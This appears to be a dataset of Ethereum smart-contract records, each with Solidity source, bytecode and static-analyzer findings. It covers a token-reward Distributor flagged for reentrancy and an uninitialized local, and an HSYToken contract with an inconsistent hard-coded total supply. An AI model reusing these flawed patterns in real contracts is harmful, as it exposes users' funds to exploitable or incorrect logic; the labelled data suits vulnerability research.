c = 1;
}
}
function percentageAmount( uint256 total_, uint8 percentage_ ) internal pure returns ( uint256 percentAmount_ ) {
return div( mul( total_, percentage_ ), 1000 );
}
function substractPercentage( uint256 total_, uint8 percentageToSub_ ) internal pure returns ( uint256 result_ ) {
return sub( total_, div( mul( total_, percentageToSub_ ), 1000 ) );
}
function percentageOfTotal( uint256 part_, uint256 total_ ) internal pure returns ( uint256 percent_ ) {
return div( mul(part_, 100) , total_ );
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing( uint256 payment_, uint256 multiplier_ ) internal pure returns (uint256) {
return sqrrt( mul( multiplier_, payment_ ) );
}
function bondingCurve( uint256 supply_, uint256 multiplier_ ) internal pure returns (uint256) {
return mul( multiplier_, supply_ );
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy( address newPolicy_ ) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred( address(0), _policy );
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require( _policy == msg.sender, "Ownable: caller is not the owner" );
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred( _policy, address(0) );
_policy = address(0);
}
function pushPolicy( address newPolicy_ ) public virtual override onlyPolicy() {
require( newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require( msg.sender == _newPolicy );
emit OwnershipTransferred( _policy, _newPolicy );
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards( address _recipient, uint _amount ) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeERC20 for IERC20;
/* ====== VARIABLES ====== */
address public immutable MNFST;
address public immutable treasury;
uint public immutable epochLength;
uint public nextEpochBlock;
mapping( uint => Adjust ) public adjustments;
/* ====== STRUCTS ====== */
struct Info {
uint rate; // in ten-thousandths ( 5000 = 0.5% )
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
/* ====== CONSTRUCTOR ====== */
constructor( address _treasury, address _MNFST, uint _epochLength, uint _nextEpochBlock ) {
require( _treasury != address(0) );
treasury = _treasury;
require( _MNFST != address(0) );
MNFST = _MNFST;
epochLength = _epochLength;
nextEpochBlock = _nextEpochBlock;
}
/* ====== PUBLIC FUNCTIONS ====== */
/**
@notice send epoch reward to staking contract
*/
function distribute() external returns ( bool ) {
if ( nextEpochBlock <= block.number ) {
nextEpochBlock = nextEpochBlock.add( epochLength ); // set next epoch block
// distribute rewards to each recipient
for ( uint i = 0; i < info.length; i++ ) {
if ( info[ i ].rate > 0 ) {
ITreasury( treasury ).mintRewards( // mint and send from treasury
info[ i ].recipient,
nextRewardAt( info[ i ].rate )
);
adjust( i ); // check for adjustment
}
}
return true;
} else {
return false;
}
}
/* ====== INTERNAL FUNCTIONS ====== */
/**
@notice increment reward rate for collector
*/
function adjust( uint _index ) internal {
Adjust memory adjustment = adjustments[ _index ];
if ( adjustment.rate != 0 ) {
if ( adjustment.add ) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add( adjustment.rate ); // raise rate
if ( info[ _index ].rate >= adjustment.target ) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub( adjustment.rate ); // lower rate
if ( info[ _index ].rate <= adjustment.target ) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
/* ====== VIEW FUNCTIONS ====== */
/**
@notice view function for next reward at given rate
@param _rate uint
@return uint
*/
function nextRewardAt( uint _rate ) public view returns ( uint ) {
return IERC20( MNFST ).totalSupply().mul( _rate ).div( 1000000 );
}
/**
@notice view function for next reward for specified address
@param _recipient address
@return uint
*/
function nextRewardFor( address _recipient ) public view returns ( uint ) {
uint reward;
for ( uint i = 0; i < info.length; i++ ) {
if ( info[ i ].recipient == _recipient ) {
reward = nextRewardAt( info[ i ].rate );
}
}
return reward;
}
/* ====== POLICY FUNCTIONS ====== */
/**
@notice adds recipient for distributions
@param _recipient address
@param _rewardRate uint
*/
function addRecipient( address _recipient, uint _rewardRate ) external onlyPolicy() {
require( _recipient != address(0) );
info.push( Info({
recipient: _recipient,
rate: _rewardRate
}));
}
/**
@notice removes recipient for distributions
@param _index uint
@param _recipient address
*/
function removeRecipient( uint _index, address _recipient ) external onlyPolicy() {
require( _recipient == info[ _index ].recipient );
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
/**
@notice set adjustment info for a collector's reward rate
@param _index uint
@param _add bool
@param _rate uint
@param _target uint
*/
function setAdjustment( uint _index, bool _add, uint _rate, uint _target ) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
} | 0x608060405234801561001057600080fd5b50600436106100ff5760003560e01c8063a15ad07711610097578063c9fa8b2a11610066578063c9fa8b2a14610264578063e4fc6b6d14610281578063f79822431461029d578063fe3fbbad146102c9576100ff565b8063a15ad077146101f1578063a4b2398014610217578063b5764e471461021f578063bc3b2b1214610227576100ff565b806357d775f8116100d357806357d775f8146101a65780635beede08146101ae5780635db854b0146101b857806361d027b3146101e9576100ff565b8062640c2e146101045780630505c8c91461011e5780632e3405991461014257806336d33f4414610180575b600080fd5b61010c6102f5565b60408051918252519081900360200190f35b6101266102fb565b604080516001600160a01b039092168252519081900360200190f35b61015f6004803603602081101561015857600080fd5b503561030b565b604080519283526001600160a01b0390911660208301528051918290030190f35b61010c6004803603602081101561019657600080fd5b50356001600160a01b0316610342565b61010c6103c5565b6101b66103e9565b005b6101b6600480360360808110156101ce57600080fd5b50803590602081013515159060408101359060600135610461565b6101266104f5565b6101b66004803603602081101561020757600080fd5b50356001600160a01b0316610519565b6101b66105cd565b610126610664565b6102446004803603602081101561023d57600080fd5b5035610688565b604080519315158452602084019290925282820152519081900360600190f35b61010c6004803603602081101561027a57600080fd5b50356106ad565b610289610751565b604080519115158252519081900360200190f35b6101b6600480360360408110156102b357600080fd5b506001600160a01b0381351690602001356108b2565b6101b6600480360360408110156102df57600080fd5b50803590602001356001600160a01b03166109a7565b60025481565b6000546001600160a01b03165b90565b6004818154811061031b57600080fd5b6000918252602090912060029091020180546001909101549091506001600160a01b031682565b60008060005b6004548110156103be57836001600160a01b03166004828154811061036957fe5b60009182526020909120600160029092020101546001600160a01b031614156103b6576103b36004828154811061039c57fe5b9060005260206000209060020201600001546106ad565b91505b600101610348565b5092915050565b7f000000000000000000000000000000000000000000000000000000000000089881565b6001546001600160a01b0316331461040057600080fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000546001600160a01b031633146104ae576040805162461bcd60e51b81526020600482018190526024820152600080516020610e9b833981519152604482015290519081900360640190fd5b60408051606081018252931515845260208085019384528482019283526000958652600390529093209151825460ff19169015151782555160018201559051600290910155565b7f000000000000000000000000200a433086c37eb55bc4cd31f8195831052a67c681565b6000546001600160a01b03163314610566576040805162461bcd60e51b81526020600482018190526024820152600080516020610e9b833981519152604482015290519081900360640190fd5b6001600160a01b0381166105ab5760405162461bcd60e51b8152600401808060200182810382526026815260200180610e546026913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461061a576040805162461bcd60e51b81526020600482018190526024820152600080516020610e9b833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b7f00000000000000000000000021585bbcd5bdc3f5737620cf0db2e51978cf60ac81565b60036020526000908152604090208054600182015460029092015460ff909116919083565b600061074b620f4240610745847f00000000000000000000000021585bbcd5bdc3f5737620cf0db2e51978cf60ac6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561071357600080fd5b505afa158015610727573d6000803e3d6000fd5b505050506040513d602081101561073d57600080fd5b505190610a94565b90610af4565b92915050565b600043600254116108aa57600254610789907f0000000000000000000000000000000000000000000000000000000000000898610b36565b60025560005b6004548110156108a0576000600482815481106107a857fe5b9060005260206000209060020201600001541115610898577f000000000000000000000000200a433086c37eb55bc4cd31f8195831052a67c66001600160a01b0316636a20de92600483815481106107fc57fe5b906000526020600020906002020160010160009054906101000a90046001600160a01b03166108316004858154811061039c57fe5b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561087757600080fd5b505af115801561088b573d6000803e3d6000fd5b5050505061089881610b90565b60010161078f565b5060019050610308565b506000610308565b6000546001600160a01b031633146108ff576040805162461bcd60e51b81526020600482018190526024820152600080516020610e9b833981519152604482015290519081900360640190fd5b6001600160a01b03821661091257600080fd5b604080518082019091529081526001600160a01b03918216602082019081526004805460018101825560009190915291517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b600290930292830155517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c90910180546001600160a01b03191691909216179055565b6000546001600160a01b031633146109f4576040805162461bcd60e51b81526020600482018190526024820152600080516020610e9b833981519152604482015290519081900360640190fd5b60048281548110610a0157fe5b60009182526020909120600160029092020101546001600160a01b03828116911614610a2c57600080fd5b600060048381548110610a3b57fe5b906000526020600020906002020160010160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550600060048381548110610a7f57fe5b60009182526020909120600290910201555050565b600082610aa35750600061074b565b82820282848281610ab057fe5b0414610aed5760405162461bcd60e51b8152600401808060200182810382526021815260200180610e7a6021913960400191505060405180910390fd5b9392505050565b6000610aed83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610cf7565b600082820183811015610aed576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b610b98610e30565b506000818152600360209081526040918290208251606081018452815460ff161515815260018201549281018390526002909101549281019290925215610cf357805115610c6c57610c0c816020015160048481548110610bf557fe5b600091825260209091206002909102015490610b36565b60048381548110610c1957fe5b600091825260209091206002909102015560408101516004805484908110610c3d57fe5b90600052602060002090600202016000015410610c67576000828152600360205260408120600101555b610cf3565b610c98816020015160048481548110610c8157fe5b600091825260209091206002909102015490610d99565b60048381548110610ca557fe5b600091825260209091206002909102015560408101516004805484908110610cc957fe5b90600052602060002090600202016000015411610cf3576000828152600360205260408120600101555b5050565b60008183610d835760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610d48578181015183820152602001610d30565b50505050905090810190601f168015610d755780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610d8f57fe5b0495945050505050565b6000610aed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060008184841115610e285760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610d48578181015183820152602001610d30565b505050900390565b60405180606001604052806000151581526020016000815260200160008152509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a264697066735822122020dd59ec2131cffc326a600e40a0223ff6495d4c820a071339aaec0e0fb4aec564736f6c63430007050033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 10,521 |
0x383faacfa060d83cf5a4da60dd85a68785f401f8 | pragma solidity ^0.4.24;
/**
* @title ERC20 interface
*
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title OwnableMintable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* @dev Added mintOwner address how controls the minting
* functions, this simplifies the implementation of "user permissions".
*/
contract OwnableMintable {
address public owner;
address public mintOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event MintOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
mintOwner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyMintOwner() {
require(msg.sender == mintOwner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to transfer mint control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferMintOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit MintOwnershipTransferred(mintOwner, newOwner);
mintOwner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint length;
while (j != 0){
length++;
j /= 10;
}
bytes memory bstr = new bytes(length);
uint k = length - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
}
/**
*
* @title EDToken
* @notice An ERC-20 token designed specifically for crowdsales with investor protection and further development path.
*
*
*/
contract HSYToken is ERC20, OwnableMintable {
using SafeMath for uint256;
string public constant name = "HSYToken"; // The Token's name
string public constant symbol = "HSY"; // Identifier
uint8 public constant decimals = 18; // Number of decimals
//Hardcap is 244,000,000 - 244 million + 18 decimals
uint256 hardCap_ = 244000000 * (10**uint256(18));
//Balances
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) internal allowed;
//Minting
event Mint(address indexed to, uint256 amount);
event PauseMinting();
event UnPauseMinting();
//If token is mintable
bool public pauseMinting = false;
//Total supply of tokens
uint256 totalSupply_ = 9999999999999999999999;
//Constructor
constructor() public {
}
//Fix for the ERC20 short address attack.
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev allowed total number of tokens
*/
function hardCap() public view returns (uint256) {
return hardCap_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public onlyPayloadSize(2 * 32) returns (bool) {
return _transfer(msg.sender, _to, _value);
}
/**
* @dev Internal transfer, only can be called by this contract
* @param _from is msg.sender The address to transfer from.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function _transfer(address _from, address _to, uint _value) internal returns (bool){
require(_to != address(0)); // Prevent transfer to 0x0 address.
require(_value <= balances[msg.sender]); // Check if the sender has enough
// SafeMath.sub will throw if there is not enough balance.
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3 * 32) returns (bool) {
require(_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require(_value <= balances[_from]); // Check if the sender has enough
require(_value <= allowed[_from][msg.sender]); // Check if the sender is allowed to send
// SafeMath.sub will throw if there is not enough balance.
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spend.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* MintableToken functionality
*/
modifier canMint() {
require(!pauseMinting);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyMintOwner canMint public returns (bool) {
require(_to != address(0)); // Prevent transfer to 0x0 address.
require(totalSupply_.add(_amount) <= hardCap_);
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to pause minting new tokens.
* @notice Pause minting
*/
function toggleMinting() onlyOwner public {
if(pauseMinting){
pauseMinting = false;
emit UnPauseMinting();
}else{
pauseMinting = true;
emit PauseMinting();
}
}
/**
* @dev Owner can transfer other tokens that are sent here by mistake
*
*/
function refundOtherTokens(address _recipient, ERC20 _token) onlyOwner public {
require(_token != this);
uint256 balance = _token.balanceOf(this);
require(_token.transfer(_recipient, balance));
}
} | 0x6080604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610116578063095ea7b3146101a057806318160ddd146101d85780631861355b146101ff5780631cf1e3ff1461022257806323b872dd14610249578063313ce5671461027357806340c10f191461029e57806366188463146102c257806370a08231146102e65780637d55094d146103075780638da5cb5b1461031c57806395d89b411461034d578063a9059cbb14610362578063cecb06d014610386578063d73dd6231461039b578063da8fbf2a146103bf578063dd62ed3e146103d4578063f2fde38b146103fb578063fb86a4041461041c575b600080fd5b34801561012257600080fd5b5061012b610431565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016557818101518382015260200161014d565b50505050905090810190601f1680156101925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ac57600080fd5b506101c4600160a060020a0360043516602435610468565b604080519115158252519081900360200190f35b3480156101e457600080fd5b506101ed6104ce565b60408051918252519081900360200190f35b34801561020b57600080fd5b50610220600160a060020a03600435166104d4565b005b34801561022e57600080fd5b50610220600160a060020a0360043581169060243516610569565b34801561025557600080fd5b506101c4600160a060020a03600435811690602435166044356106cf565b34801561027f57600080fd5b50610288610856565b6040805160ff9092168252519081900360200190f35b3480156102aa57600080fd5b506101c4600160a060020a036004351660243561085b565b3480156102ce57600080fd5b506101c4600160a060020a0360043516602435610996565b3480156102f257600080fd5b506101ed600160a060020a0360043516610a86565b34801561031357600080fd5b50610220610aa1565b34801561032857600080fd5b50610331610b34565b60408051600160a060020a039092168252519081900360200190f35b34801561035957600080fd5b5061012b610b43565b34801561036e57600080fd5b506101c4600160a060020a0360043516602435610b7a565b34801561039257600080fd5b50610331610b9c565b3480156103a757600080fd5b506101c4600160a060020a0360043516602435610bab565b3480156103cb57600080fd5b506101c4610c44565b3480156103e057600080fd5b506101ed600160a060020a0360043581169060243516610c4d565b34801561040757600080fd5b50610220600160a060020a0360043516610c78565b34801561042857600080fd5b506101ed610d0c565b60408051808201909152600881527f485359546f6b656e000000000000000000000000000000000000000000000000602082015281565b336000818152600460209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60065490565b600054600160a060020a031633146104eb57600080fd5b600160a060020a038116151561050057600080fd5b600154604051600160a060020a038084169216907fd101401b0bfdc046da585b826bc2a57b481f26c1b93a83b503fb30990bc241f690600090a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008054600160a060020a0316331461058157600080fd5b600160a060020a03821630141561059757600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a038416916370a082319160248083019260209291908290030181600087803b1580156105f857600080fd5b505af115801561060c573d6000803e3d6000fd5b505050506040513d602081101561062257600080fd5b5051604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0386811660048301526024820184905291519293509084169163a9059cbb916044808201926020929091908290030181600087803b15801561069357600080fd5b505af11580156106a7573d6000803e3d6000fd5b505050506040513d60208110156106bd57600080fd5b505115156106ca57600080fd5b505050565b6000606060643610156106de57fe5b600160a060020a03841615156106f357600080fd5b600160a060020a03851660009081526003602052604090205483111561071857600080fd5b600160a060020a038516600090815260046020908152604080832033845290915290205483111561074857600080fd5b600160a060020a038516600090815260036020526040902054610771908463ffffffff610d1216565b600160a060020a0380871660009081526003602052604080822093909355908616815220546107a6908463ffffffff610d2416565b600160a060020a0380861660009081526003602090815260408083209490945591881681526004825282812033825290915220546107ea908463ffffffff610d1216565b600160a060020a03808716600081815260046020908152604080832033845282529182902094909455805187815290519288169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001949350505050565b601281565b600154600090600160a060020a0316331461087557600080fd5b60055460ff161561088557600080fd5b600160a060020a038316151561089a57600080fd5b6002546006546108b0908463ffffffff610d2416565b11156108bb57600080fd5b6006546108ce908363ffffffff610d2416565b600655600160a060020a0383166000908152600360205260409020546108fa908363ffffffff610d2416565b600160a060020a038416600081815260036020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b336000908152600460209081526040808320600160a060020a0386168452909152812054808311156109eb57336000908152600460209081526040808320600160a060020a0388168452909152812055610a20565b6109fb818463ffffffff610d1216565b336000908152600460209081526040808320600160a060020a03891684529091529020555b336000818152600460209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526003602052604090205490565b600054600160a060020a03163314610ab857600080fd5b60055460ff1615610afb576005805460ff191690556040517f0439f51dcbfd1b7cad72e8f9ce2c07ea6dcc5aa6e57a94a5d634bd46a8d3441d90600090a1610b32565b6005805460ff191660011790556040517fdeabde7fd350a5b1b759279cbf4fa77ae065ae23b6c288aeb8b5f22b0ef5427390600090a15b565b600054600160a060020a031681565b60408051808201909152600381527f4853590000000000000000000000000000000000000000000000000000000000602082015281565b600060406044361015610b8957fe5b610b94338585610d3a565b949350505050565b600154600160a060020a031681565b336000908152600460209081526040808320600160a060020a0386168452909152812054610bdf908363ffffffff610d2416565b336000818152600460209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b60055460ff1681565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205490565b600054600160a060020a03163314610c8f57600080fd5b600160a060020a0381161515610ca457600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60025490565b600082821115610d1e57fe5b50900390565b600082820183811015610d3357fe5b9392505050565b60006